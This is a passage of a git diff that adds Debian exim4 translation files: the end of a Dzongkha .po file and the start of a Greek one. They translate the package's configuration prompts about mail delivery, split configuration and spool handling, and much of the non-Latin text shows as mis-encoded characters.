+"འà½à½´à¼‹à½ à½–ད་དགོཔ་ཨིན༠དེ་མེན་པར་ ཨ་རྟག་ར་ཨིན་ཊར་ནེཊི་འཇུལ་སྤྱོད་གུ་ཨིན་པ་ཅིན་ གདམ་à½à¼‹à½ à½‘ི་ལྕོགས་མིན་བཟོ་"
+"དགོ"
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "ཡིག་འཕྲིན་སར་བར་རིམ་སྒྲིགà¼"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "རིམ་སྒྲིག་དེ་ཡིག་སྣོད་ཆུང་ཀུ་ཚུ་ནང་ལུ་གཤག་ནི་ཨིན་ན?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"/etc/exim4/conf.d/ ནང་ལུ་ ཡིག་སྣོད་ཆུང་ཀུ་ ༥༠་ ནང་ལས་ཨེག་ཟིམ་རིམ་སྒྲིག་ཡིག་སྣོད་ཚུ་བཟོ་ཡོད་པའི་ "
+"ཌེ་བི་ཡཱན་exim4 à½à½´à½˜à¼‹à½¦à¾’ྲིལ་ཚུ་གིས་ \"unsplit configuration\" དང་ མོ་ནོ་ལི་à½à½²à½‚་ཡིག་སྣོད་རà¾à¾±à½„་པ་"
+"ཅིག་(/etc/exim4/exim4.conf.template) ཡང་ན་ \"split configuration\" ལག་ལེན་འà½à½–་"
+"ཚུགསཔ་ཨིན༠"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"མ་གཤག་པའི་རིམ་སྒྲིག་འདི་ ལེགས་བཅོས་སྦོམ་གྱི་དོན་ལུ་ འོས་འབབ་ཡོད་པ་ཨིནམ་དང་ འདི་སྤྱིར་བà½à½„་ལུ་སྒྲིང་སྒྲིང་"
+"ཡོདཔ་ཨིན༠གཤག་པའི་རིམ་སྒྲིག་གིས་ ལེགས་བཅོས་ཆུང་ཀུ་ཚུ་བདེ་à½à½¼à½‚་à½à½¼à¼‹à½ à½–ད་བཟོ་བཅུགཔ་ཨིན་ དེ་འབདà½à¼‹à½‘་ སྒྲིང་"
+"སྒྲིང་མེདཔ་ལས་ ལེགས་བཅོས་ལེགས་ཤོམ་མ་འབད་བ་ཅིན་ དཀྲུམ་འགྱོ་ནིའི་ཉེན་à½à¼‹à½¡à½¼à½‘པ་ཨིནà¼"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"གཤག་ནི་དང་གཤག་བཤོལ་རིམ་སྒྲིག་གི་རྒྱས་བཤད་ཅན་གྱི་གྲོས་བསྡུར་འདི་ /usr/share/doc/exim4-base "
+"ནང་ ཌི་བི་ཡཱན་-དམིགས་བསལ་གྱི་ README ཡིག་སྣོད་ནང་ལས་à½à½¼à½–་ཚུགསཔ་ཨིནà¼"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "ཕྱིར་གà½à½„་ཡིག་འཕྲིན་ནང་ལུ་ ཉེ་གནས་ཡིག་འཕྲིན་གྱི་མིང་དེ་སྦ་བཞག་ནི་ཨིན་ན?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"ཕྱིར་གà½à½„་ཡིག་འཕྲིན་གྱི་མགོ་ཡིག་ཚུ་ རིམ་ལུགས་མ་འདྲ་བའི་གུ་བཟོ་བà½à½¼à½“་འབད་ཡོད་པ་འབད་འབྱུང་བཅུག་ནི་ལུ་ "
+"ལོག་བྲིས་བà½à½´à½–་ཨིན༠གདམ་à½à¼‹à½ à½‘ི་གདམ་à½à¼‹à½–རà¾à¾±à½–ས་ཡོད་པ་ཅིན་ \"${mailname}\"དང་ \"localhost\" "
+"དེ་ལས་ \"${dc_other_hostnames}\"ཚུ་ ལན་གསལ་དང་གà½à½„་མི་ དེ་ལས་ Return-Path ཚུ་བསà¾à¾±à½¢à¼‹"
+"བྲིས་འབདà½à¼‹à½¨à½²à½“à¼"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "mbox format in /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "à½à¾±à½²à½˜à¼‹à½‚ྱི་སྣོད་à½à½¼à¼‹à½“ང་ ཡིག་འཕྲིན་སྣོད་à½à½¼à½ à½²à¼‹à½¢à¾©à¼‹à½¦à¾’ྲིག"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "ཉེ་གནས་ཡིག་འཕྲིན་གྱི་དོན་ལུ་ འགྲེམ་སྤེལ་à½à½–ས་ལམ་:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"ཨེག་ཟིམ་ལུ་ ཉེ་གནས་ལུ་སྦེ་འགྲེམ་སྤེལ་འབད་ཡོད་པའི་གློག་འཕྲིན་འདི་ རྩ་སྒྲིག་སོ་སོར་ནང་ལུ་གསོག་འཇོག་་འབད་ནི་"
+"གི་ལྕོགས་གྲུབ་ཡོདཔ་ཨིན༠à½à½´à½“་མོང་དུ་ལག་ལེན་འà½à½–་ནི་ཡོད་མི་ཚུ་ mbox དང་ Maildir གཉིས་ཨིན༠mbox "
+"གིས་ /var/mail/ནང་གསོག་འཇོག་འབད་ཡོད་པའི་ཡིག་འཕྲིན་སྣོད་འཛིན་ཡོངས་རྫོགས་ཀྱི་དོན་ལུ་ ཡིག་སྣོད་རà¾à¾±à½„་པ་"
+"ཅིག་ལག་ལེན་འà½à½–་ཨིན༠Maildir རྩ་སྒྲིག་གི་à½à½¼à½‚་ལས་ འཕྲིན་དོན་རེ་རེ་བཞིན་དུ་ ~/Maildir/ནང་འབད་ "
+"ཡིག་སྣོད་སོ་སོ་ནང་གསོག་འཇོག་འབད་བཞག་འོང་à¼"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"ཌི་བི་ཡཱན་ནང་གི་ཡིག་འཕྲིན་ལག་ཆས་མང་ཤོས་ཀྱིས་ སྔོན་སྒྲིག་ནང་ mbox འབད་ནིའི་དོན་ལུ་ ཉེ་གནས་འགྲེམ་སྤེལ་"
+"à½à½–ས་ལམ་ རེ་བ་བསà¾à¾±à½ºà½‘པ་ཨིནà¼"
+
+#~ msgid "Overwrite existing /etc/aliases?"
+#~ msgstr "ད་ལྟོ་ཡོད་མི་/etc/aliasesདེ་ཚབ་སྲུང་འབད་ནི་ཨིན་ན?"
+
+#~ msgid ""
+#~ "An /etc/aliases file was found on the system, but it does not redirect "
+#~ "mail for root to a user account, which is strongly recommended."
+#~ msgstr ""
+#~ "/etc/aliases file འདི་རིམ་ལུགས་གུ་མà½à½¼à½„་ཡི་ དེ་འབདà½à¼‹à½‘་ ངོ་འབྱོར་སྒྲིང་སྒྲིང་འབད་ཡོད་པའི་ཡིག་"
+#~ "འཕྲིན་དེ་ རྩ་བའི་ནང་ལས་ལག་ལེན་པའི་རྩིས་à½à½¼à¼‹à½£à½´à¼‹à½£à½¼à½‚་བཀོད་རྒྱ་མི་བྱིནམ་ཨིནà¼"
+
+#, fuzzy
+#~ msgid ""
+#~ "Accepting this option will cause /etc/aliases to be overwritten, and the "
+#~ "old file will be renamed to aliases.O."
+#~ msgstr ""
+#~ "གདམ་à½à¼‹à½‘ང་ལེན་འབད་མི་འདི་གིས་ /etc/aliases འདི་ཚབ་སྲུང་འབད་བཅུགཔ་ཨིནམ་དང་ ཡིག་སྣོད་རྙིངམ་"
+#~ "འདི་ཡང་ aliases.O ལུ་བསà¾à¾±à½¢à¼‹à½˜à½²à½„་བà½à½‚ས་à½à½ºà¼‹à½–ཞག་འོང་à¼"
+
+#~ msgid "Move undelivered mails from exim(v3) to exim4 spool?"
+#~ msgstr ""
+#~ "ད་ལྟོ་ཡང་མ་བསà¾à¾±à½ºà½£à¼‹à½–་ཡོད་མི་ཡཡིག་འཕྲིན་ཚུ་ exim(v3)ནང་ལས་ ཨེག་ཟིམ་༤་འཕྲལ་གསོག་ལུ་སྤོ་བཤུད་འབད་"
+#~ "ནི་ཨིན་ན་?"
+
+#~ msgid ""
+#~ "There are some undelivered mails in exim(v3) (or exim-tls(v3)) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "exim(v3) (or exim-tls(v3)) འགྲེམ་སྤེལ་སྣོད་à½à½¼à¼‹ /var/spool/exim/input/ ནང་ལུ་ འགྲེམ་"
+#~ "སྤེལ་མ་འབད་མི་ཡིག་་འཕྲིན་དང་པ་ཅིག་ཡོདà¼"
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "གདམ་à½à¼‹à½‚དམ་མི་འདི་གིས་ འཕྲིན་དོན་འདི་ཚུ་ exim4 གིས་ལེགས་སà¾à¾±à½¼à½„་འà½à½–་ནི་ཨིན་པའི་exim4'གི་ དཀྲི་"
+#~ "ཤིང་ (/var/spool/exim4/input/) ནང་སྤོ་འོང་à¼"
+
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle exim(v3) spool but not vice-"
+#~ "versa. You should move the messages only if you do not plan to go back to "
+#~ "exim(v3). Otherwise, the messages should be moved manually at a later "
+#~ "time."
+#~ msgstr ""
+#~ "འདི་à½à½–ས་ལམ་གཅིག་གི་à½à½¼à½‚་ལུ་རà¾à¾±à½„མ་ཅིག་ལཱ་འབདà½à¼‹à½¨à½²à½“་: Exim4 གིས་ exim(v3) དཀྲི་ཤིང་འདི་ལེགས་"
+#~ "སà¾à¾±à½¼à½„་འà½à½–་བà½à½´à½–་ དེ་འབདà½à¼‹à½‘་ ཕན་ཚུན་གཉིས་མཚུངས་མེན༠à½à¾±à½¼à½‘་ exim(v3)ལུ་ལོག་འགྱོ་ནི་གི་འཆར་གཞི་མ་"
+#~ "སྒྲིག་པ་ཅིན་རà¾à¾±à½„མ་ཅིག་ འཕྲིན་དོན་ཚུ་སྤོ་བཤུད་འབད་དགོ དེ་མེན་པ་ཅིན་ འཕྲིན་དོན་ཚུ་ཤུལ་ལས་ ལག་à½à½¼à½‚་ལས་"
+#~ "སྤོ་བཤུད་འབད་དགོཔ་ཨིནà¼"
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr "à½à½¼à¼‹à½¡à½²à½‚་སྟོངམ་འབད་བཞག་མི་འདི་གིས་ ཨེག་ཟིམ་གྱིས་ཉེ་གནས༌་འགྲེམ་སྤེལ་མི་འབདà¼"
+
+#~ msgid ""
+#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool "
+#~ "but not the other way round."
+#~ msgstr ""
+#~ "འདི་གིས་à½à½–ས་ལམ་གཅིག་གི་à½à½¼à½‚་་ལས་་རà¾à¾±à½„མ་ཅིག་གཡོག་བཀོལ་བà½à½´à½–་ཨིན༠ཨེག་ཟིམ་༤་གིས་ ཨེག་ཟིམ་(à½à½²à¼‹à¼£à¼‹)"
+#~ "གི་འཕྲལ་གསོག་ལེགས་བསà¾à¾±à½¼à½„་འà½à½–་ཚུགས་ དེ་འབདà½à¼‹à½‘་ à½à½–ས་ལམ་གཞན་གྱིས་à½à½¼à½‚་ལས་མེནà¼"
+
+#~ msgid ""
+#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise "
+#~ "the mail shouldn't be moved now but manually once you've converted your "
+#~ "setup."
+#~ msgstr ""
+#~ "à½à¾±à½¼à½‘་ཀྱིས་ ཨེག་ཟིམ་(à½à½²à¼‹à¼£à¼‹)ལུ་ ལོག་འགྱོ་ནི་འཆར་གཞི་མེད་པ་ཅིན་རà¾à¾±à½„མ་ཅིག་ ཡིག་འཕྲིན་ཚུ་སྤོ་བཤུད་འབད༠"
+#~ "དེ་མེན་པ་ཅིན་ ཡིག་འཕྲིན་དེ་ད་ལྟོ་སྤོ་བཤུད་འབད་ནི་མི་འོང་ དེ་འབདà½à¼‹à½‘་ à½à¾±à½¼à½‘་ཀྱིས་à½à¾±à½¼à½‘་རའི་གཞི་སྒྲིག་དེ་"
+#~ "ཚར་ཅིག་གཞི་བསྒྱུར་འབད་ཞིནམ་ལས་ ལག་à½à½¼à½‚་ལས་སྤོ་བཤུད་འབད་དགོཔ་ཨིནà¼"
+
+#~ msgid ""
+#~ "If there are any more, enter them here, separated by semicolons. You may "
+#~ "leave this blank if there are none."
+#~ msgstr ""
+#~ "དེ་ལས་མངམ་ཡོད་པ་ཅིན་ དེ་ཚུ་སེ་མི་ཀོ་ལཱོན་ཚུ་གིས་ སོ་སོ་à½à¼‹à½ à½•à¾±à½£à¼‹à½–འི་à½à½¼à½‚་ལས་ ནཱ་ལུ་བཙུགས༠གཅིག་ཡང་"
+#~ "མེད་པ་ཅིན་ འདི་སྟོངམ་སྦེ་བཞག་རུང་བà½à½´à½–à¼"
+
+#~ msgid ""
+#~ "Please enter here the domains for which this system will relay mail, for "
+#~ "example as a fallback MX or mail gateway."
+#~ msgstr ""
+#~ "རིམ་ལུགས་འདི་གིས་ ཡིག་འཕྲིན་བརྒྱུད་སྤྲོད་འབད་ནི་ཨིན་མི་ ཌོ་མེན་ཚུ་ནཱ་ལུ་བཙུགས་གནང་༠དེ་ཡང་དཔེར་ན་ "
+#~ "གློ་འབུར་རྒྱབ་à½à½‚་ ཨེམ་ཨེགསི་ ཡང་ན་ ཡིག་འཕྲིན་འཛུལ་སྒོ་ལྟ་བུà¼"
+
+#~ msgid ""
+#~ "Such domains are domains for which you are prepared to accept mail from "
+#~ "anywhere on the Internet. Do not mention local domains here."
+#~ msgstr ""
+#~ "འདི་བཟུམ་མའི་ཌོ་མེན་ཚུ་ à½à¾±à½¼à½‘་ཀྱིས་ ཨིན་ཊར་ནེཊི་གུར་ཡིག་འཕྲིན་ཚུ་ག་སྟེ་ལས་ཡང་དང་ལེན་འབད་ནི་ལུ་གྲ་"
+#~ "སྒྲིག་འབད་ཡོད་པའི་ ཌོ་མེན་ཚུ་ཨིན༠ཉེ་ངནས་ཀྱི་ཌོ་མེནསི་ཚུ་ ནཱ་ལུ་བཀོད་མི་དགོ"
+
+#~ msgid ""
+#~ "The domains entered here should be separated by semicolons. Wildcards may "
+#~ "be used."
+#~ msgstr ""
+#~ "à½à¾±à½¼à½‘་ཀྱིས་ནཱ་ལུ་བཙུགས་ཡོད་མི་ཌོ་མེནསི་དེ་ སེ་མི་ཀོ་ལཱོན་ཚུ་གིས་ སོ་སོ་འཕྱལ་དགོཔ་ཨིན༠à½à¼‹à½¡à½²à½£à½Œà½²à¼‹à½€à½Œà½²à¼‹à½šà½´à¼‹ "
+#~ "ལག་ལེན་འà½à½–à¼"
+
+#~ msgid ""
+#~ "Since you enabled hiding the local mailname in outgoing mail, you must "
+#~ "specify the domain name to use for mail from local users; typically this "
+#~ "is the machine on which you normally receive your mail."
+#~ msgstr ""
+#~ "à½à¾±à½¼à½‘་ཀྱིས་ ཕྱིར་གà½à½„་ཡིག་འཕྲིན་ནང་ལུ་ཉེ་གནས་ཡིག་འཕྲིན་གྱི་མིང་སྦ་བཞག་ནི་དེ་ནུས་ཅན་བཟོ་ཞིནམ་ལས་ཚུར་ "
+#~ "ཉེ་གནས་ལག་ལེན་པ་ཚུ་གི་ནང་ལས་ ཡིག་འཕྲིན་གྱི་ལག་ལེན་འà½à½–་མི་ ཌོ་མེན་མིང་དེ་གསལ་བཀོད་འབད་དགོཔ་"
+#~ "ཨིན; འ་ནི་འདི་ སྤྱིར་གà½à½„་à½à¾±à½¼à½‘་ཀྱི་ཡིག་འཕྲིན་འà½à½¼à½–་སའི་གློག་འཕྲུལ་ མà½à½´à½“་མོངས་མ་ཡིན་པ་ཅིག་ཨིནà¼"
+
+#~ msgid "Where will your users read their mail?"
+#~ msgstr "à½à¾±à½¼à½‘་ཀྱི་ལག་ལེན་པ་ཚུ་གིས་ ཡིག་འཕྲིན་ག་སྟེ་ལྷག་དོ་ཡོདཔ་ཨིན་ན?"
+
+#~ msgid "Machine handling outgoing mail for this host (smarthost):"
+#~ msgstr "ཧོསཊི་ (སྤུ་བསྒྱིར་དྲག་ཡོད་མི་ཧོས་ཊི་)འདི་གི་དོན་ལུ་ གློག་འཕྲུལ་ལེགས་སà¾à¾±à½¼à½„་ཕྱིར་གà½à½„་གི་ཡིག་འཕྲིན:"
+
+#~ msgid "Enter the hostname of the machine to which outgoing mail is sent."
+#~ msgstr "ཕྱིར་གà½à½„་ཡིག་འཕྲིན་གà½à½„་མི་ གློག་འཕྲུལ་གྱི་ཧོསཊི་མིང་དེ་à½à½¼à¼‹à½–ཀོད་འབདà¼"
+
+#~ msgid ""
+#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable "
+#~ "it."
+#~ msgstr ""
+#~ "à½à¾±à½¼à½‘་ཌ་ཡེལ་-ཨོན-མà½à½¼à¼‹à½ à½‘ོད་ལག་ལེན་འà½à½–་དོ་ཡོདཔ་ཨིན་པ་ཅིན་ à½à¾±à½‘་རྣམ་འདི་ལྕོགས་ཅན་བཟོ;དེ་མེན་པ་ཅིན་ "
+#~ "འདི་ལྕོགས་མིན་བཟོà¼"
+
+#~ msgid "Select the mail server configuration type that best fits your needs."
+#~ msgstr ""
+#~ "à½à¾±à½¼à½‘་རའི་དགོས་མà½à½¼à¼‹à½‘ང་ ཡང་དག་སྦེ་མà½à½´à½“་མི་ ཡིག་འཕྲིན་སར་བར་རིམ་སྒྲིག་གྱི་དབྱེ་བ་དེ་ སེལ་འà½à½´à¼‹à½ à½–དà¼"
+
+#~ msgid "If you are unsure then you should not use split configuration."
+#~ msgstr "à½à¾±à½¼à½‘་རང་ངེས་à½à½²à½‚་མེད་པ་ཅིན་ à½à¾±à½¼à½‘་ཀྱིས་རིམ་སྒྲིག་གཤག་ནི་དེ་ལག་ལེན་་འà½à½–་ནང་མེད་འོང་à¼"
+
+#~ msgid "manually convert from handcrafted Exim v3 configuration"
+#~ msgstr "ལག་རྩལ་གྱི་à½à½¼à½‚་ལས་བཟོ་མི་ ཨེག་ཟིམ་ à½à½²à¼‹à¼£à¼‹ རིམ་སྒྲིག་ནང་ལས་ ལག་à½à½¼à½‚་ལས་གཞི་བསྒྱུར་འབདà¼"
+
+#~ msgid "Configure Exim4 manually?"
+#~ msgstr "ཨེག་ཟིམ་༤་་ལག་à½à½¼à½‚་ལས་རིམ་སྒྲིག་འབད་ནི་ཨིན་ན?"
+
+#~ msgid ""
+#~ "You indicated that you have a handcrafted Exim 3 configuration. To "
+#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the "
+#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "and /usr/share/doc/exim4-base/README.Debian.gz!"
+#~ msgstr ""
+#~ "à½à¾±à½¼à½‘་ཀྱིས་ ལག་རྩལ་གྱི་à½à½¼à½‚་ལས་བཟོ་ཡོད་པའི་ ཨེག་ཟིམ་༣་རིམ་་སྒྲིག་ཅིག་à½à¾±à½¼à½‘་ལུ་ཡོད་པའི་བརྡ་སྟོན་ཡི༠ཨེག་"
+#~ "ཟིམ་འདི་གཞི་བསྒྱུར་འབད་ནིའི་དོན་ལུ་ གཞི་བཙུགས་ཀྱི་ཤུལ་ལས་ à½à¾±à½¼à½‘་ཀྱིས་ ཨེག་ཟིམ་_གཞི་བསྒྱུར་༤་ཨཱར་(༨)"
+#~ "ལག་ཆས་དེ་ལག་ལེན་འà½à½–་ཚུགས༠/usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "and /usr/share/doc/exim4-base/README.Debian.gz!དེ་ལུ་གྲོས་བསྟུན་འབདà¼"
+
+#~ msgid ""
+#~ "Until your mail system is configured, it will be broken and cannot be "
+#~ "used."
+#~ msgstr ""
+#~ "à½à¾±à½¼à½‘་རའི་ཡིག་འཕྲིན་རིམ་ལུགས་དེ་ རིམ་སྒྲིག་མ་འབད་ཚུན་ཚོད་ འ་ནི་དེ་་ཆད་པ་སྦེ་སྡོད་དེ་ ལག་ལེན་འà½à½–་མི་"
+#~ "ཚུགསà¼"
+
+#~ msgid ""
+#~ "Your \"mail name\" is the hostname portion of the address to be shown on "
+#~ "outgoing news and mail messages (following the username and @ sign) "
+#~ "unless hidden with rewriting."
+#~ msgstr ""
+#~ "à½à¾±à½¼à½‘་ཀྱི་\"mail name\" དེ་ བསà¾à¾±à½¢à¼‹à½ à½–ྲི་འབད་ནི་དང་གཅིག་à½à½¢à¼‹à½¦à¾¦à¼‹à½˜à¼‹à½–ཞག་ཚུན་ཚོད་ (following "
+#~ "the username and @ sign) ཕྱིར་གà½à½„་གནས་ཚུལ་དང་ཡིག་འཕྲིན་གྱི་འཕྲིན་དོན་གུར་སྟོན་ནི་གི་ à½à¼‹à½–ྱང་"
+#~ "དེ་གི་ཧོསི་མིང་གི་ཡན་ལག་ལག་ཨིནà¼"
+
+#~ msgid ""
+#~ "Please enter here the networks of local machines for which you accept to "
+#~ "relay the mail."
+#~ msgstr ""
+#~ "à½à¾±à½¼à½‘་ཀྱིས་ཡིག་འཕྲིན་བརྒྱུད་སྤྲོད་འབད་ནི་གི་དོན་ལུ་དང་ལེན་འབད་མི་གི་ ཉེ་གནས་གློག་འཕྲུལ་ཚུ་གི་ ཡོངས་འབྲེལ་"
+#~ "དེ་ནཱ་ལུ་བཙུགས་གནང་à¼"
+
+#~ msgid ""
+#~ "This should include a list of all machines that will use us as a "
+#~ "smarthost."
+#~ msgstr ""
+#~ "འདི་ནང་ལུ་ ང་བཅས་ཚུ་སྤུར་བསྒྱིར་དྲགས་ཡོད་མི་ཧོསི་ཊི་སྦེ་ལག་ལེན་འà½à½–་ནི་ཨིན་མིའི་ གློག་འཕྲལ་ཆ་མཉམ་གྱི་"
+#~ "à½à½¼à¼‹à½¡à½²à½‚་ཅིག་ གྲངས་སུ་བཙུགས་དགོ"
+
+#~ msgid ""
+#~ "You need to double the colons in IPv6 addresses (e.g. "
+#~ "5f03::1200::836f::::/48)"
+#~ msgstr ""
+#~ "ཨའི་པི་à½à½²à¼‹à¼¦à¼‹à½à¼‹à½–ྱང་ནང་ལུ་ à½à¾±à½¼à½‘་ཀྱིས་ཀོ་ལཱོན་ཚུ་ལོག་བà½à½–་བརà¾à¾±à½–་དགོཔ་ཨིན༠(དཔེ་འབད་བ་ཅིན་ "
+#~ "5f03::1200::836f::::/48)"
+
+#~ msgid ""
+#~ "Enter a colon-separated list of IP-addresses to listen on. You need to "
+#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)."
+#~ msgstr ""
+#~ "ཉན་ནིའི་དོན་ལུ་ ཨའི་པི་-à½à¼‹à½–ྱང་ཚུ་གི་ སོ་སོ་à½à¼‹à½•à¾±à½ºà¼‹à½¡à½¼à½‘་པའི་ཀོ་ལཱོན་ཅིག་བཙུགས༠à½à¾±à½¼à½‘་ཀྱིས་IPv6 à½à¼‹à½–ྱང་ཚུ་"
+#~ "ནང་ལུ་ ཀོ་ལཱོན་ལོག་བà½à½–་བརà¾à¾±à½–་དགོཔ་ཨིན༠(དཔེ་འབད་བ་ཅིན་ 5f03::1200::836f::::)."
+
+#~ msgid "Configuring Exim v4 (exim4-config)"
+#~ msgstr "རིམ་སྒྲིག་གི་ཨེག་ཟིམ་ à½à½²à¼‹à¼¤à¼‹(ཨེག་ཟིམ་༤་-རིམ་སྒྲིག)"
diff --git a/debian/po/el.po b/debian/po/el.po
new file mode 100644
index 0000000..cf9f79c
--- /dev/null
+++ b/debian/po/el.po
@@ -0,0 +1,668 @@
+# translation of exim4_debian_po_el.po to Greek
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans#
+# Developers do not need to manually edit POT or PO files.
+#
+# Konstantinos Margaritis <markos@debian.org>, 2003, 2004.
+# Greek Translation Team <debian-l10n-greek@lists.debian.org>, 2005.
+# QUAD-nrg.net <yodesy@quad-nrg.net>, 2006.
+# quad-nrg.net <yodesy@quad-nrg.net>, 2008.
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4_debian_po_el\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2008-08-26 12:34+0300\n"
+"Last-Translator: quad-nrg.net <yodesy@quad-nrg.net>\n"
+"Language-Team: Greek <debian-l10n-greek@lists.debian.org>\n"
+"Language: el\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+"Plural-Forms: nplurals=2; plural=(n != 1);\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "ΔιαγÏαφή των μηνυμάτων στον κατάλογο spool που δεν έχουν παÏαδοθεί;"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"ΥπάÏχουν μηνÏματα στον κατάλογο spool του Exim /var/spool/exim4/input/ που "
+"δεν έχουν παÏαδοθεί ακόμη. Η αφαίÏεση του Exim θα έχει σαν αποτέλεσμα την μη "
+"παÏάδοσή τους μέχÏι την επανεγκατάστασή του."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Αν δεν κάνετε αυτή την επιλογή, ο κατάλογος spool θα διατηÏηθεί, "
+"επιτÏέποντας την παÏάδοση των μηνυμάτων που βÏίσκονται στην ουÏά σε μια "
+"μεταγενέστεÏη χÏονική στιγμή, μετά την επανεγκατάσταση του Exim."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Îα γίνει επαναÏÏθμιση του exim4-config αντί Î±Ï…Ï„Î¿Ï Ï„Î¿Ï… πακέτου"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Η ÏÏθμιση του Exim4 γίνεται με ένα συγκεκÏιμένο πακέτο ειδικά για τον σκοπό "
+"αυτό, το exim4-config. Για να επαναÏυθμίσετε το Exim4, χÏησιμοποιήστε την "
+"εντολή 'dpkg-reconfigure exim4-config'."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "δικτυακός τόπος (internet) - λήψη και αποστολή μέσω SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "αλληλογÏαφία με χÏήση smarthost - λήψη μέσω SMTP ή fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "αλληλογÏαφία με χÏήση smarthost - χωÏίς τοπική παÏάδοση αλληλογÏαφίας"
+
+#. Type: select
+#. Choices
